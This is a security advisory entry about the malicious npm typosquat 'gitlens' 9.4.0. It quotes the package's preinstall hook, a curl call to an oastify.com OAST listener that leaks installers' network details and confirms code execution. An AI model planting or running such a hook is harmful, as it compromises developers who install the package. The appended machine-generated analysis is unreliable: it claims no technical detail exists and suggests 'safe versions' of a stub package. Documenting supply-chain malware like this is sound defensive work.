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Malicious code in gitlens (npm)

0
High
Published: 07/08/2026 (07/08/2026, 09:21:00 UTC)
Source: GCVE Database
Product: gitlens

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7) package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting. ## Source: ghsa-malware (6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395) The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

Affected software

npmghsa
gitlens
Affected versions
=9.4.0

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AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/08/2026, 13:28:45 UTC

Technical Analysis

The 'gitlens' npm package at version 9.4.0 is flagged as malicious due to its communication with domains tied to malicious activity and execution of commands indicative of malicious behavior. This assessment comes from the OpenSSF Package Analysis project and is cataloged under MAL-2026-6973. No CVSS score or detailed technical exploit information is available. The package is not a cloud service, and no vendor advisory or patch information is provided.

Potential Impact

Use of 'gitlens' version 9.4.0 may lead to compromise due to its malicious communication and command execution capabilities. This could result in unauthorized actions or data exposure depending on the commands executed and the nature of the external domains contacted. No confirmed exploitation in the wild has been reported.

Mitigation Recommendations

No official patch or remediation guidance is currently available. Users should avoid using 'gitlens' version 9.4.0 and consider downgrading to a prior safe version or upgrading to a later version if available and verified safe. Monitor vendor advisories and trusted security sources for updates regarding remediation.

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Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-6973
Osv Schema Version
1.7.4
Aliases
[]
Ecosystems
["npm"]
Database Specific Severity
null
Cvss Version
null

Threat ID: 6a4e4ecdc9d9e3dbe32878f3

Added to database: 07/08/2026, 13:21:17 UTC

Last enriched: 07/08/2026, 13:28:45 UTC

Last updated: 07/30/2026, 16:13:46 UTC

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